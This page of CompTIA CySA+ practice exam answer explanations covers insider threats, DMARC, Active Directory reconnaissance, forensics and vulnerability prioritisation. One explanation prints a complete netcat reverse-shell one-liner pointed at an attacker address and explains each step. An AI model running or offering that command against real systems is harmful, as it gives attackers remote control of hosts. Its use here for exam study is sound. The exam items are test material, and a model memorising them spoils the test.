CS0-003 CompTIA CyberSecurity Analyst CySA+ Certification Exam Free Practice Exam Questions (2026 Updated)

The observed activity from a privileged account indicates an insider attack, which is when a trusted user or employee misuses their access rights to compromise the security of the organization. Accessing emails and sensitive information, modifying audit logs, and logging in at abnormal times are all signs of malicious behavior by a privileged user who may be trying to steal, tamper, or destroy data, or cover their tracks. An insider attack can cause significant damage to the organization’s reputation, operations, and compliance12. References: The Privileged Identity Playbook Guides Management of Privileged User Accounts, How to Track Privileged Users’ Activities in Active Directory

Agent-based vulnerability scanning is a method that uses software agents installed on the target systems to scan for vulnerabilities. This method meets the requirements of the project because it uses minimal network bandwidth and host resources, provides accurate and near real-time updates, and does not require any stored credentials on the scanner. References: What Is Vulnerability Scanning? Types, Tools and Best Practices, Section: Types of vulnerability scanning; CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 154.

Adding the SHA-256 hash of a legitimate Microsoft-signed binary like svchost.exe to detection signatures would result in the indicator firing on the majority of Windows devices. Svchost.exe is a common and legitimate system process used by Windows, and using its hash as an indicator ofcompromise (IOC) would generate numerous false positives, as it would match the legitimate instances of svchost.exe running on all Windows systems.

DMARC (Domain-based Message Authentication, Reporting, and Conformance)helps organizationsprevent email spoofing and phishing by enforcing policies based on SPF and DKIM​.

Option B (DKIM - DomainKeys Identified Mail)verifies message integritybut does not enforce policies.

Option C (SPF - Sender Policy Framework)prevents spoofingbut is not as comprehensive as DMARC.

Option D (SMTP - Simple Mail Transfer Protocol)is just anemail delivery protocol, not a security control.

Thus,A (DMARC) is the correct answer, asit combines SPF and DKIM to prevent spoofing and phishing attacks​.

1. Analyze the Log Evidence: The log displays a specific sequence of rapid-fire events (within 18 seconds) characteristic of automated reconnaissance tools used to map Active Directory environments.

20:06:05 (LDAP Reads): The attacker queries the directory for high-value groups (Domain Admins) and critical infrastructure (Domain Servers). They are not trying to log in; they are reading the membership lists to see who is important and where the servers are.

20:06:09 (EDR Enumeration): The attacker checks the local Administrators group. This is to see if the current compromised user has admin rights or who does.

20:06:23 (SMB Connections): The host PC021 attempts to connect to multiple other hosts. This indicates the attacker is testing where they can move laterally using the credentials or access they currently have.

2. Why this is "Finding the Shortest Path" (Option A): This behavior is the textbook signature of tools like BloodHound (or its data collector, SharpHound).

Concept: Adversaries use these tools to visualize relationships in Active Directory. They query LDAP to find out: "I am User A. Which computers can I access? Who is a Domain Admin? Is a Domain Admin logged into a computer I can access?"

Goal: The tool calculates the mathematical "shortest path" (graph theory) from the attacker's current low-level foothold to the ultimate target (Domain Admin).

The combination of LDAP querying (mapping the graph) and SMB connection attempts (verifying sessions/local admin rights) confirms the adversary is mapping out the network to find the most efficient route to total compromise.

Why the other options are incorrect:

B. An adversary is performing a vulnerability scan: Vulnerability scanners (like Nessus or Qualys) typically probe ports and services to identify unpatched software (CVEs). They generally do not focus on querying LDAP for "Domain Admins" group membership as their primary action.

C. An adversary is escalating privileges: While the attacker intends to escalate privileges eventually, the logs show enumeration (Discovery phase). They are currently looking for the path to escalate, not actively exploiting a vulnerability (like a kernel exploit) to change their privilege level in this specific snapshot.

D. An adversary is performing a password stuffing attack: Password stuffing involves high volumes of failed authentication attempts against a login service. The logs here show read operations and connection attempts, not the "Invalid Credential" errors associated with stuffing.

In digital forensics, a write blocker is a critical tool used to prevent any modifications to the source drive during imaging. When a forensic image is created, it should be an exact bit-for-bit copy of the original evidence. If a write blocker is not used, system processes or other unintended changes can alter the contents of the drive, leading to a hash mismatch between the original and the image copy​.

Chain of custody (Option A)ensures proper documentation of who accessed the evidence, but it does not directly affect the hash values.

Legal authorization (Option B)is necessary but unrelated to the technical integrity of the image.

Data integrity verification (Option C)is part of the process, but in this scenario, the failure to maintain integrity stems from the lack of a write blocker​.

Thus, the correct answer isD, as using a write blocker would have prevented any unintended changes to the data​.

Asimulation(such as atabletop exercise or full-scale IR drill) is the best way to demonstrate real-world readiness without affecting operations​.

Option A (Reviewing lessons-learned and playbooks)is valuable but does not actively test readiness.

Option C (Deploying malware)is highly risky and unethical in a production environment.

Option D (Disaster recovery site testing)focuses on DR, not security incident readiness.

Thus,B is the best choice, as simulations effectivelytest incident response capabilities without operational disruption.

Comprehensive and Detailed Explanation From Exact Extract:

A “network data closet” attack is a physical-environment incident (hardware, cabling, physical access/tampering). Proper documentation in such cases includes documenting the scene and physical state of impacted items so that investigators can reconstruct what was present, what was changed, and how things were connected.

The All-in-One CySA+ guide explicitly states that an important step is documenting the physical environment and that an easy way is to take lots of photos of the scene:

Exact extract (All-in-One Exam Guide):

“Another important… step is to document the entire physical environment around a device. An easy way to do this is to take lots of photos of the scene.”

Why the other options are less correct:

A is a recovery/ops task, not primary incident documentation of a physical attack scene.

B may be useful in some contexts, but the best practice for a physical incident scene is to photograph impacted items and surroundings.

C can help later, but it’s not the first/best documentation action for a physical tampering incident compared to capturing the scene as-found.

SQL injection should be remediated first, as it is a high-severity vulnerability that can allow an attacker to execute arbitrary SQL commands on the database server and access, modify, or delete sensitive data, including PII. According to the Arachni scan results, there are two instances of SQL injection and three instances of blind SQL injection (two timing attacks and one differential analysis) in the web application. These vulnerabilities indicate that the web application does not properly validate or sanitize the user input before passing it to the database server, and thus exposes the database to malicious queries12. SQL injection can have serious consequences for the confidentiality, integrity, and availability of the data and the system, and can also lead to further attacks, such as privilege escalation, data exfiltration, or remote code execution34. Therefore, SQL injection should be the highest priority for remediation, and the web application should implement input validation, parameterized queries, and least privilege principle to prevent SQL injection attacks5. References: Web application testing with Arachni | Infosec, How do I create a generated scan report for PDF in Arachni Web …, Command line user interface · Arachni/arachni Wiki · GitHub, SQL Injection - OWASP, Blind SQL Injection - OWASP, SQL Injection Attack: What is it, and how to prevent it., SQL Injection Cheat Sheet & Tutorial | Veracode

Comprehensive and Detailed Step-by-Step Explanation:A tabletop exercise is a structured simulation that allows teams to practice and evaluate their incident response procedures and coordination without actual operational impact. These exercises are used to identify gaps in processes and ensure preparedness for real-world threats.

To decide what to address first, CySA+ expects a risk-based prioritization approach, combining factors like:

Asset criticality/value (business impact)

Exposure/architecture (internet-facing vs. isolated/internal)

Patch availability / ability to remediate quickly

Exploitability / likelihood of exploitation

1) Server5 (Critical + Patch Yes) — prioritize immediately

Server5 sits in the database network, is marked Critical, and a patch is available. That combination makes it one of the highest priorities because you can rapidly reduce risk on an asset with the greatest business impact.

Secbay explicitly states that prioritization should align to asset criticality and business impact, and also notes that patch availability accelerates remediation:Exact extract (Secbay Press): “Prioritize vulnerabilities based on their severity, exploitability, and potential impact… Asset Criticality: Identify and prioritize vulnerabilities based on the criticality of the assets they affect…” and “Patch Availability… Action: Prioritize vulnerabilities for which patches are readily available, as prompt remediation is possible.”

The All-in-One guide emphasizes asset value/criticality as a major driver of how fast you remediate:Exact extract (All-in-One Exam Guide): “Asset value is likely one of the most important factors in determining how quickly you should remediate vulnerabilities…”

2) Server3 (Perimeter + High) — address immediately (mitigate now, patch later)

Server3 is in the perimeter network and rated High, making it more exposed to attack paths than internal-only systems. Even though no patch is available, the analyst must still “address” it first via mitigation/compensating controls (segmentation, firewalling, disabling vulnerable services, WAF where relevant, tighter ACLs, etc.) because perimeter exposure increases likelihood of exploitation.

The All-in-One guide makes the architecture/exposure point very directly:Exact extract (All-in-One Exam Guide – Exam Tip): “The architecture of your infrastructure should be a factor… Internet-facing hosts with sensitive information will likely be your highest priority, while isolated systems… may be able to wait a bit longer for remediation.”

Secbay’s prioritization guidance also highlights focusing on critical/high impact risks first and using risk-based prioritization.

Why not the others (briefly):

Server4 (Internal, High, Patch Yes): This is a strong candidate, but when choosing only two, perimeter high exposure (Server3) plus critical database with patch (Server5) generally outranks an internal high system.

Server2 (Perimeter, Low, Patch Yes): Exposed, but Low criticality.

Server1 / Server6 (Medium, No patch): Lower criticality and no patch—typically handled after higher-risk items, or mitigated as feasible.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Mya Heath et al., CompTIA CySA+ All-in-One Exam Guide (CS0-003): infrastructure architecture affects remediation priority; internet-facing hosts are typically highest priority; asset value drives remediation urgency

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): vulnerability prioritization factors include asset criticality and patch availability; prioritize items with readily available patches for prompt remediation

Answer below images

A digital certificate is a document that contains the public key and identity information of a web server, and is signed by a trusted third-party authority called a certificate authority (CA). A digital certificate allows the web server to establish a secure connection with the clients using the HTTPS protocol, and also verifies the authenticity of the web server. A self-signed certificate is a digital certificate that is not signed by a CA, but by the web server itself. A self-signed certificate can cause issues with the website, as it may not be trusted by the clients or their browsers. Clients may receive warnings or errors when trying to access the website, indicating that the site could not be trusted or that the connection is not secure. Official References:

https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered

https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives

https://www.techtarget.com/searchsecurity/quiz/Sample-CompTIA-CySA-test-questions-with-answers

Deduplication is a process that involves removing any duplicate or redundant data or information from a data set or source. Deduplication can help consolidate several threat intelligence feeds by eliminating any overlapping or repeated indicators of compromise (IoCs), alerts, reports, or recommendations. Deduplication can also help reduce the volume and complexity of threat intelligence data, as well as improve its quality, accuracy, or relevance.

The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker’s machine. It does the following steps:

•rm -f /tmp/f deletes any existing file named /tmp/f

•mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f

•cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output

•nc 10.0.0.1 1234 > tmp/f connects to the attacker’s machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe

This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.

References

Hack the Galaxy

Reverse Shell Cheat Sheet

Comprehensive and Detailed Explanation From Exact Extract:

Because the system is mission critical and there is no patch and no vendor support, the best risk-reduction approach is to implement compensating controls. Compensating controls are specifically recommended when immediate remediation is not possible, and for legacy systems where patches may not exist.

The Sybex CySA+ Study Guide states this directly:

Exact extract (Sybex Study Guide): “Legacy systems may not have patches available, meaning that compensating controls may be the only option available.”

Secbay Press also explains that legacy systems may lack vendor support/updates and that mitigation strategies like compensating controls or isolation are essential to reduce risk:

Exact extract (Secbay Press): “Legacy systems may lack vendor support and updates, making mitigation strategies essential… Implement specific mitigation strategies for legacy systems, such as compensating controls or isolation.”

And Secbay provides a legacy-system compensating control case study showing exactly the kinds of controls mentioned in option D—segmentation/isolation, access controls, and enhanced monitoring/continuous monitoring:

Exact extract (Secbay Press): “Selected compensating controls, such as network segmentation, intrusion detection systems, and enhanced monitoring, to mitigate the risks…”

Why the other options are not “best” given the constraints:

A (Decommission immediately): may be ideal long-term, but conflicts with “mission critical” (and “immediately” is often unrealistic for business operations).

B (Block inbound/allow outbound): helps somewhat but is incomplete and can still allow command-and-control or exfiltration outbound; also doesn’t address restricted admin access/monitoring comprehensively.

C (WAF): useful only if this is specifically a web application exposure; the scenario says “legacy system” broadly. Compensating controls are the most complete and universally applicable choice.

References (CompTIA CySA+ CS0-003 documents / study guides used):

Chapple/Seidl, CompTIA CySA+ Study Guide (CS0-003): legacy systems may have no patches; compensating controls may be the only option

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): legacy systems lack support/updates; use compensating controls or isolation

Secbay Press, CompTIA CySA+ Exam Prep Guide (CS0-003): compensating controls for legacy systems include segmentation/isolation and enhanced/continuous monitoring

The Diamond Model of Intrusion Analysis focuses on understanding the relationships between the adversary, their capabilities, infrastructure, and victim. It provides a structured approach to examining how attackers exploit information assets. According to CompTIA CySA+, this model is valuable for detailing attack patterns and understanding the infrastructure attackers use. The other options, like Structured Threat Information Expression (A) and OWASP Testing Guide (B), address threat data sharing and web application testing, respectively, while the Open Source Security Testing Methodology Manual (OSSTMM) (C) covers general security testing procedures.

Data exfiltration is the theft or unauthorized transfer or movement of data from a device or network. It can occur as part of an automated attack or manually, on-site or through an internet connection, and involve various methods. It can affect personal or corporate data, such as sensitive or confidential information. Data exfiltration can be prevented or detected by using compression, encryption, authentication, authorization, and other controls1

The network activity shows that a device on the network is sending an outbound email via a mail client to a non-company email address daily at 10:00 p.m. This could indicate that the device is compromised by malware or an insider threat, and that the email is used to exfiltrate data from the network to an external party. The email could contain attachments, links, or hidden data that contain the stolen information. The timing of the email could be designed to avoid detection by normal network monitoring or security systems.

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review.